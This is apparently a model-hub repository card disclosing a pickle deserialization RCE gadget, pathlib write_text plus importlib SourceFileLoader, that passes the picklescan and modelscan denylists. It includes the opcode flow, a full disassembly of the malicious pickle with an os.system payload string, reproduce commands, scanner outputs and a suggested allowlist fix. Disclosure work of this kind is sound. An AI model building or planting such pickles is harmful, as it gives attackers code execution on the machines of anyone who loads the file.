You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

NEW pickle RCE gadget: pathlib.Path.write_text + importlib.machinery.SourceFileLoader.load_module

Category: Pickle deserialization RCE / model-scanner denylist bypass (new, unlisted GLOBAL gadget) Runtime verified: CPython 3.13.12; via pickle.load and joblib.load (joblib 1.5.2) Scanners bypassed: picklescan 1.0.5, modelscan 0.8.8 (both report the file as not-infected / no-issues)

Summary

picklescan (1.0.5) and modelscan (0.8.8) are opcode-denylist scanners: they walk the GLOBAL / STACK_GLOBAL (module, name) pairs in a pickle stream and match them against a hardcoded list of unsafe callables. This gadget is self-contained and references only two callables that appear in neither denylist:

  1. pathlib.Path.write_text β€” the pickle uses it to write its own payload .py module to disk. The payload source (containing import os / os.system(...)) rides through the stream as a SHORT_BINUNICODE string constant that becomes the file's content β€” it is never a GLOBAL opcode, so no scanner ever sees os / system.
  2. importlib.machinery.SourceFileLoader.load_module β€” imports + executes that file on disk, reaching arbitrary code execution.

Both callables are always-present stdlib (no optional package dependency). An equivalent variant is importlib.util.spec_from_file_location + module_from_spec + exec_module.

Root cause (verified by dumping both denylists)

Neither pathlib nor importlib.machinery (nor SourceFileLoader) is present in either scanner's unsafe-global list. Dumped live from the installed packages:

# picklescan 1.0.5 β€” picklescan.scanner._unsafe_globals (dict, keyed by module)
picklescan _unsafe_globals type: dict
pathlib present: False
importlib present: False
SourceFileLoader present: False
modules listed: ['__builtin__', '_aix_support', '_io', '_operator', '_osx_support', '_pickle',
 '_pyrepl', 'aiohttp', 'asyncio', 'bdb', 'builtins', 'cProfile', 'cloudpickle.cloudpickle',
 'code', 'commands', 'ctypes', 'distutils.file_util', 'doctest', 'ensurepip', 'functools',
 'httplib', 'idlelib.*', 'imaplib', 'lib2to3.*', 'logging', 'nt', 'numpy.f2py', 'operator',
 'os', 'pdb', 'pickle', 'pip', 'pkgutil', 'posix', 'profile', 'pty', 'pydoc',
 'requests.api', 'runpy', 'shutil', 'socket', 'ssl', 'subprocess', 'sys', 'test', 'timeit',
 'torch.*', 'trace', 'types', 'urllib.request', 'uuid', 'venv', 'webbrowser']

# modelscan 0.8.8 β€” modelscan.settings.DEFAULT_SETTINGS (CRITICAL/HIGH/MEDIUM/LOW)
modelscan pathlib present: False
modelscan importlib present: False
modelscan SourceFileLoader present: False

Because the denylist only enumerates os, posix, subprocess, runpy, builtins, etc., a file-write-then-source-load chain through pathlib + importlib.machinery slips past both.

Opcode flow (protocol 4, STACK_GLOBAL with dotted qualnames)

write_text = STACK_GLOBAL pathlib "Path.write_text"
pathobj    = REDUCE(STACK_GLOBAL pathlib "Path", (PYPATH,))
_          = REDUCE(write_text, (pathobj, PAYLOAD_SRC)); POP        # writes _evilmod.py
load_module= STACK_GLOBAL importlib.machinery "SourceFileLoader.load_module"
loader     = REDUCE(STACK_GLOBAL importlib.machinery "SourceFileLoader", ("evilmod", PYPATH))
REDUCE(load_module, (loader,))    # -> imports+executes the written module -> RCE
STOP

Unpickler.find_class resolves the dotted qualnames (Path.write_text, SourceFileLoader.load_module) via attribute traversal, yielding the unbound functions, which REDUCE then invokes with an explicit self (the Path / SourceFileLoader instance).

Verbatim pickletools.dis of the 555-byte evil.pkl:

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'pathlib'
   11: \x8c SHORT_BINUNICODE 'Path.write_text'
   28: \x93 STACK_GLOBAL
   29: \x8c SHORT_BINUNICODE 'pathlib'
   38: \x8c SHORT_BINUNICODE 'Path'
   44: \x93 STACK_GLOBAL
   45: \x8c SHORT_BINUNICODE '/.../_evilmod.py'
  118: \x85 TUPLE1
  119: R    REDUCE
  120: \x8c SHORT_BINUNICODE "import os\nos.system('id > .../PWNED_sourcefileloader ...')\n"
  373: \x86 TUPLE2
  374: R    REDUCE
  375: 0    POP
  376: \x8c SHORT_BINUNICODE 'importlib.machinery'
  397: \x8c SHORT_BINUNICODE 'SourceFileLoader.load_module'
  427: \x93 STACK_GLOBAL
  428: \x8c SHORT_BINUNICODE 'importlib.machinery'
  449: \x8c SHORT_BINUNICODE 'SourceFileLoader'
  467: \x93 STACK_GLOBAL
  468: \x8c SHORT_BINUNICODE 'evilmod'
  477: \x8c SHORT_BINUNICODE '/.../_evilmod.py'
  550: \x86 TUPLE2
  551: R    REDUCE
  552: \x85 TUPLE1
  553: R    REDUCE
  554: .    STOP
highest protocol among opcodes = 4

Reproduce

python3 gen_poc.py                                  # builds evil.pkl / evil.joblib + control_os.pkl
python3 -c "import pickle; pickle.load(open('evil.pkl','rb'))"   # -> writes PWNED_sourcefileloader
scan_verify/bin/python -m picklescan -p evil.pkl    # picklescan 1.0.5, py3.13  -> Infected 0 (CLEAN)
scan312/bin/modelscan -p evil.pkl                   # modelscan 0.8.8, py3.12   -> "No issues found!"

gen_poc.py, evil.pkl (555 bytes), evil.joblib, control_os.pkl, and _evilmod.py (the payload module written at unpickle time) are included in this repo.

Verified captured evidence (verbatim)

EXECUTE β€” pickle.load on CPython 3.13.12, and joblib.load 1.5.2 (identical marker)

Contents of PWNED_sourcefileloader after each load:

uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
importlib_sourcefileloader_gadget_executed

PICKLESCAN 1.0.5 (py3.13) β€” evil.pkl β†’ CLEAN

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 4
Dangerous globals: 0

(exit=0 β€” CLEAN; "suspicious" is non-blocking, the verdict is not infected.)

MODELSCAN 0.8.8 (py3.12) β€” evil.pkl AND evil.joblib β†’ CLEAN

Scanning evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
 No issues found! πŸŽ‰

(exit=0 for both files.)

NEGATIVE CONTROL β€” control_os.pkl (posix.system reduce) β†’ both scanners flag it

picklescan:

control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1

modelscan:

Total Issues: 1
    - CRITICAL: 1
Unsafe operator found:
  - Description: Use of unsafe operator 'system' from module 'posix'

Both scanners correctly flag the control (exit=1 for modelscan), proving the detection pipeline works and that the clean verdict on evil.pkl is a genuine bypass, not a broken run.

Impact

A malicious .pkl / .joblib (or any pickle-backed model artifact β€” e.g. joblib/sklearn, numpy allow_pickle, torch legacy) that passes a picklescan- or modelscan-based CI/registry gate as clean, yet achieves arbitrary command execution the moment it is deserialized. Both scanners are widely deployed as the "safety check" in front of model hubs and MLOps pipelines, so the bypass defeats the primary automated defense for untrusted model files.

Suggested fix

Denylists cannot enumerate every dangerous stdlib callable. pathlib.Path.write_text / write_bytes, importlib.machinery.SourceFileLoader / SourcelessFileLoader, importlib.util.spec_from_file_location / module_from_spec / exec_module, and importlib.import_module are all file-write / import primitives that must be treated as unsafe. More robustly, prefer an allowlist of known-safe globals (as weights_only-style loading does) rather than a denylist.

Dedup / prior-art note

  • Distinct from classic os.system / posix.system / subprocess / builtins.eval / builtins.exec reduces β€” those modules are in both denylists and are flagged (see the negative control).
  • Distinct from prior nt/runpy/pydoc/webbrowser gadgets already in picklescan's list.
  • Distinct from other gadgets in sibling PoCs (logging.config, typing.get_type_hints, marshal+FunctionType, doctest, codeop, dataclasses, code.InteractiveInterpreter, pydoc.pipepager, spawnv, getattr_static): those use different unlisted callables. This one is the pathlib.write_text + importlib.machinery.SourceFileLoader.load_module write-then-source-load chain, in which the code-exec primitive (os.system) never appears as a GLOBAL at all β€” it is carried purely as a string constant.
  • No CVE currently assigned to pathlib/importlib.machinery as a picklescan/modelscan bypass gadget as of the test date (2026-07-16).
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support